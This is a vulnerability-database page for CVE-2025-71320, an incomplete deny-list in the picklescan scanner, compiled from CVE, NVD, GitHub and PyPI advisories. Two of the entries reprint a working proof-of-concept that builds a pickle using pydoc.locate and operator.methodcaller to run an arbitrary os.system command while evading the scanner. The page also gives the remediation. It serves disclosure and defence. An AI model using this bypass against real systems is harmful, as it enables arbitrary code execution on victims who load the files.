CVE-2025-71320 (GCVE-0-2025-71320)
Vulnerability from cvelistv5 – Published: 2026-06-17 15:04 – Updated: 2026-06-17 17:54
VLAI
EPSS
VEX
Title
picklescan - Remote Code Execution via Incomplete Disallowed Inputs
Summary
picklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.
Severity
9.8 (Critical)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-17 17:51 UTC
CWE
- CWE-184 - Incomplete List of Disallowed Inputs
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/mmaitre314/picklescan/security… | vendor-advisory |
| https://www.vulncheck.com/advisories/picklescan-r… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| picklescan | picklescan |
Affected:
0 , < 0.0.33
(semver)
Unaffected: 0.0.33 (semver) cpe:2.3:a:mmaitre314:picklescan:*:*:*:*:*:*:*:* |
Date Public
2025-12-26 00:00
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FKIE_CVE-2025-71320
Vulnerability from fkie_nvd - Published: 2026-06-17 17:16 - Updated: 2026-10-12 22:10
Severity
Summary
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References
Impacted products
| Vendor | Product | Version |
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"published": "2026-06-17T17:16:40.697",
"references": [
{
"source": "disclosure@vulncheck.com",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
},
{
"source": "disclosure@vulncheck.com",
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
}
],
"sourceIdentifier": "disclosure@vulncheck.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-184"
}
],
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
]
}
GHSA-6V84-V468-3C7F
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-18 14:40
Withdrawn 2026-06-18
VLAI
Summary
Duplicate Advisory: Picklescan has Incomplete List of Disallowed Inputs
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-84r2-jw7c-4r5q. This link is maintained to preserve external references.
Original Description
picklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.
Severity
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.0.33"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:40:24Z",
"nvd_published_at": "2026-06-17T17:16:40Z",
"severity": "CRITICAL"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-84r2-jw7c-4r5q. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.",
"id": "GHSA-6v84-v468-3c7f",
"modified": "2026-06-18T14:40:24Z",
"published": "2026-06-17T18:35:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71320"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Picklescan has Incomplete List of Disallowed Inputs",
"withdrawn": "2026-06-18T14:40:24Z"
}
GHSA-84R2-JW7C-4R5Q
Vulnerability from github – Published: 2025-12-29 15:24 – Updated: 2026-06-18 14:40
VLAI
Summary
Picklescan has Incomplete List of Disallowed Inputs
Details
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71320"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-29T15:24:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n def __init__(self, module_name):\n self.module_name = module_name\n \n def __reduce__(self):\n return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n def __reduce__(self):\n \n cmd = \"notepad\" #put your payload here\n \n mc = operator.methodcaller(\"system\", cmd)\n return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n payload = RCEPayload()\n \n try:\n with open(\"bypass.pkl\", \"wb\") as f:\n f.write(pickle.dumps(payload))\n print(\"File \u0027bypass.pkl\u0027 created.\")\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n\u003cimg width=\"746\" height=\"341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0\" /\u003e\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.",
"id": "GHSA-84r2-jw7c-4r5q",
"modified": "2026-06-18T14:40:37Z",
"published": "2025-12-29T15:24:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71320"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Picklescan has Incomplete List of Disallowed Inputs"
}
PYSEC-2026-1785
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:25
VLAI
Details
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Severity
Impacted products
| Name | purl | picklescan | pkg:pypi/picklescan |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan",
"purl": "pkg:pypi/picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.11",
"0.0.12",
"0.0.13",
"0.0.14",
"0.0.15",
"0.0.16",
"0.0.17",
"0.0.18",
"0.0.19",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.4",
"0.0.5",
"0.0.6",
"0.0.7",
"0.0.8",
"0.0.9"
]
}
],
"aliases": [
"CVE-2025-71320",
"GHSA-84r2-jw7c-4r5q"
],
"details": "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n def __init__(self, module_name):\n self.module_name = module_name\n \n def __reduce__(self):\n return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n def __reduce__(self):\n \n cmd = \"notepad\" #put your payload here\n \n mc = operator.methodcaller(\"system\", cmd)\n return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n payload = RCEPayload()\n \n try:\n with open(\"bypass.pkl\", \"wb\") as f:\n f.write(pickle.dumps(payload))\n print(\"File \u0027bypass.pkl\u0027 created.\")\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n\u003cimg width=\"746\" height=\"341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0\" /\u003e\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.",
"id": "PYSEC-2026-1785",
"modified": "2026-07-07T17:25:02.269056Z",
"published": "2026-07-07T16:03:14.399909Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71320"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/picklescan"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84r2-jw7c-4r5q"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Picklescan has Incomplete List of Disallowed Inputs"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.